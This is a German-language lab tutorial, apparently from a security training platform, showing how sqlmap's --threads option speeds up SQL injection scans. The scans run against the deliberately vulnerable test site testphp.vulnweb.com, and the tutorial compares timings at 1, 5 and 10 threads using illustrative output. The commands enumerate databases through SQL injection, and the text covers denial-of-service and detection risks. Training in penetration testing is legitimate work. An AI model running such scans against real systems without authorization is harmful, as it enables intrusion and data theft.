Einleitung
sqlmap ist ein leistungsstarkes Open-Source-Penetration-Testing-Tool, das den Prozess der Erkennung und Ausnutzung von SQL-Injection-Schwachstellen automatisiert. Standardmäßig führt sqlmap seine Tests sequenziell durch und sendet jeweils eine Anfrage. Dies ist zwar zuverlässig, kann aber langsam sein, insbesondere bei komplexen Webanwendungen oder bei zeitbasierten Blind-Injection-Tests.
In diesem Lab lernen Sie, wie Sie Ihre sqlmap-Scans mit der Option --threads erheblich beschleunigen können. Dieses Flag ermöglicht es sqlmap, mehrere HTTP-Anfragen gleichzeitig durchzuführen, was die für einen Scan benötigte Gesamtzeit drastisch reduziert. Sie werden eine Reihe von Scans mit unterschiedlichen Thread-Anzahlen durchführen und die Ergebnisse vergleichen, um die Leistungsverbesserung aus erster Hand zu sehen.
Durchführung eines Baseline-Scans mit einem einzelnen Thread
In diesem Schritt führen Sie einen grundlegenden sqlmap-Scan mit der Standardeinstellung eines einzelnen Threads durch. Dies dient als unsere Basislinie, um die Leistungsverbesserungen in den späteren Schritten zu messen. Wir verwenden den Befehl time, um die Dauer des Scans genau zu messen.
Führen Sie zuerst den folgenden Befehl in Ihrem Terminal aus. Dieser Befehl weist sqlmap an, die angegebene URL zu scannen (-u), die Datenbanken aufzulisten (--dbs) und im nicht-interaktiven Modus (--batch) zu arbeiten. Wir leiten die Ausgabe in eine Protokolldatei um und verwenden außerdem den Befehl time, um die Ausführungszeit zu messen.
(time sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs --batch) 2>&1 | tee baseline_scan.log
Nachdem der Scan abgeschlossen ist, sehen Sie viele Ausgaben von sqlmap, gefolgt von der Zeitmessung ganz am Ende. Sie wird ungefähr so aussehen:
... (sqlmap output) ...
[22:30:00] [INFO] fetching database names
[22:30:00] [INFO] the SQL query used returns 2 entries
[22:30:00] [INFO] retrieved: information_schema
[22:30:00] [INFO] retrieved: acuart
[22:30:00] [INFO] available databases [2]:
[*] acuart
[*] information_schema
[22:30:00] [INFO] fetched data logged to text files under '/home/labex/.sqlmap/output/testphp.vulnweb.com'
[*] ending @ 22:30:00 /2023-10-27/
real 0m45.123s
user 0m5.456s
sys 0m0.789s
Der für uns wichtigste Wert ist real, der die gesamte gemessene Zeit darstellt. Nun speichern wir dieses Ergebnis in unserer Vergleichsdatei scan_times.log.
echo "Baseline (1 Thread): $(grep real baseline_scan.log | awk '{print $2}')" >> scan_times.log
Schließlich zeigen Sie den Inhalt der Protokolldatei an, um zu bestätigen, dass die Basiszeit aufgezeichnet wurde.
cat scan_times.log
Ihre Ausgabe sollte die aufgezeichnete Zeit anzeigen:
Baseline (1 Thread): 0m45.123s
Verständnis des Zwecks des --threads-Flags
In diesem Schritt nehmen wir uns einen Moment Zeit, um das Hauptmerkmal dieses Labs zu verstehen: das --threads-Flag in sqlmap. In diesem Schritt sind keine Befehle auszuführen; das Ziel ist es, das Konzept zu verstehen, bevor es angewendet wird.
Die Option --threads wird verwendet, um die Anzahl der gleichzeitigen HTTP(s)-Anfragen festzulegen, die sqlmap während eines Scans durchführt. Der Standardwert ist 1.
Wie es funktioniert: Anstatt eine Anfrage zu senden und auf eine Antwort zu warten, bevor die nächste gesendet wird, kann sqlmap mehrere "Threads" öffnen, um mehrere Anfragen gleichzeitig zu senden. Dieser Parallelismus ist besonders effektiv für Aufgaben, die viele Anfragen beinhalten, wie zum Beispiel:
- Fuzzing auf Schwachstellen.
- Brute-Force-Angriffe auf Zeichen in einem Datenbanknamen (Blind SQL Injection).
- Extrahieren großer Datenmengen.
Vorteile:
- Geschwindigkeit: Der Hauptvorteil ist eine deutliche Reduzierung der Scanzeit.
- Effizienz: Es nutzt Ihre Netzwerkverbindung und Systemressourcen besser aus.
Überlegungen:
- Ressourcenverbrauch: Eine Erhöhung der Threads verbraucht mehr CPU und Speicher.
- Zielstabilität: Eine sehr hohe Anzahl von Threads könnte einen fragilen oder schlecht konfigurierten Webserver überlasten und potenziell zu einem Denial of Service führen.
- Erkennung: Aggressives Multithread-Scanning wird eher von Web Application Firewalls (WAFs) oder Intrusion Detection/Prevention Systems (IDS/IPS) erkannt und blockiert.
sqlmap ermöglicht es Ihnen, die Anzahl der Threads von 1 bis maximal 10 einzustellen. In den nächsten Schritten werden Sie sehen, wie sich die Anpassung dieses Wertes auf die Scan-Leistung auswirkt.
Erneutes Ausführen des Scans mit erhöhter Thread-Anzahl (--threads=5)
In diesem Schritt wenden Sie Ihr Wissen über das --threads-Flag an. Führen wir denselben Scan wie zuvor erneut aus, aber diesmal erhöhen wir die Anzahl der gleichzeitigen Anfragen auf 5.
Führen Sie den folgenden Befehl in Ihrem Terminal aus. Er ist identisch mit dem ersten Befehl, mit der Ergänzung von --threads=5.
(time sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs --batch --threads=5) 2>&1 | tee 5_threads_scan.log
Sobald der Scan abgeschlossen ist, sollten Sie feststellen, dass die real-Zeit deutlich niedriger ist als beim Baseline-Scan.
Nun fügen wir dieses neue Ergebnis unserer Datei scan_times.log zum Vergleich hinzu.
echo "5 Threads: $(grep real 5_threads_scan.log | awk '{print $2}')" >> scan_times.log
Lassen Sie uns den Inhalt der Protokolldatei erneut überprüfen, um beide Ergebnisse zu sehen.
cat scan_times.log
Die Ausgabe zeigt nun sowohl die Basislinie als auch die Scan-Zeiten für 5 Threads.
Baseline (1 Thread): 0m45.123s
5 Threads: 0m15.456s
(Hinweis: Ihre Zeiten werden variieren, aber Sie sollten eine spürbare Verringerung feststellen.)
Erneutes Ausführen des Scans mit maximaler Thread-Anzahl (--threads=10)
In diesem Schritt werden Sie die Leistung an ihre Grenzen bringen, indem Sie die von sqlmap maximal erlaubte Anzahl von Threads, nämlich 10, verwenden. Dies wird den Spitzenleistungszuwachs demonstrieren, den Sie unter normalen Bedingungen mit dieser Option erzielen können.
Führen Sie den Scan-Befehl ein letztes Mal aus und setzen Sie die Thread-Anzahl auf 10.
(time sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs --batch --threads=10) 2>&1 | tee 10_threads_scan.log
Dieser Scan sollte noch schneller sein als der vorherige. Nachdem er abgeschlossen ist, zeichnen Sie das Ergebnis in unserer Protokolldatei auf.
echo "10 Threads: $(grep real 10_threads_scan.log | awk '{print $2}')" >> scan_times.log
Zeigen Sie nun die Datei scan_times.log an, um alle drei Ergebnisse zusammengestellt zu sehen.
cat scan_times.log
Die Ausgabe enthält nun alle drei Einträge, was den Vergleich im nächsten Schritt erleichtert.
Baseline (1 Thread): 0m45.123s
5 Threads: 0m15.456s
10 Threads: 0m9.789s
(Hinweis: Ihre Zeiten werden variieren.)
Vergleichen Sie die Scan-Dauern und beachten Sie die Leistungsänderungen
In diesem letzten Schritt analysieren Sie die gesammelten Daten, um eine Schlussfolgerung über die Wirksamkeit von Multithreading in sqlmap zu ziehen.
Lassen Sie uns die endgültigen Ergebnisse anzeigen, die in scan_times.log gespeichert sind.
cat scan_times.log
Sie sehen eine Ausgabe, die dieser ähnelt und die Dauer jedes Scans deutlich zeigt:
Baseline (1 Thread): 0m45.123s
5 Threads: 0m15.456s
10 Threads: 0m9.789s
(Hinweis: Die genauen Zeiten variieren je nach Netzwerkbedingungen und Systemauslastung, aber der Trend sollte klar sein.)
Analyse: Wie Sie aus den Ergebnissen ersehen können, gibt es eine dramatische Verringerung der Scan-Zeit, wenn wir die Anzahl der Threads erhöhen.
- Der Sprung von 1 auf 5 Threads hat wahrscheinlich den signifikantesten Leistungszuwachs gebracht.
- Der Sprung von 5 auf 10 Threads zeigt immer noch eine Verbesserung, aber sie ist möglicherweise weniger ausgeprägt. Dies liegt daran, dass andere Faktoren als die Anzahl der Threads – wie z. B. Netzwerklatenz oder die Fähigkeit des Servers, gleichzeitige Anfragen zu verarbeiten – zum Engpass werden.
Dieses Experiment zeigt deutlich, dass die Verwendung des --threads-Flags eine einfache, aber äußerst effektive Methode zur Optimierung Ihrer sqlmap-Scans ist.
Zusammenfassung
Herzlichen Glückwunsch zum Abschluss dieses Labs! Sie haben erfolgreich gelernt, wie Sie die Leistung von sqlmap-Scans durch gleichzeitige Anfragen optimieren können.
In diesem Lab haben Sie:
- Einen Basis-Scan mit einem einzelnen Thread durchgeführt, um einen Leistungs-Benchmark zu erstellen.
- Den Zweck des
--threads-Flags sowie dessen Vorteile und Überlegungen kennengelernt. - Scans mit 5 und 10 Threads ausgeführt, um die Auswirkungen auf die Scan-Dauer zu beobachten.
- Die Ergebnisse verglichen und bestätigt, dass die Erhöhung der Thread-Anzahl die Scan-Zeit erheblich verkürzt.
Die Beherrschung von Optionen wie --threads ist entscheidend für die Durchführung effizienter und zeitnaher Penetrationstests. Denken Sie daran, diese Leistung verantwortungsvoll einzusetzen, da aggressive Scans das Zielsystem negativ beeinflussen können.


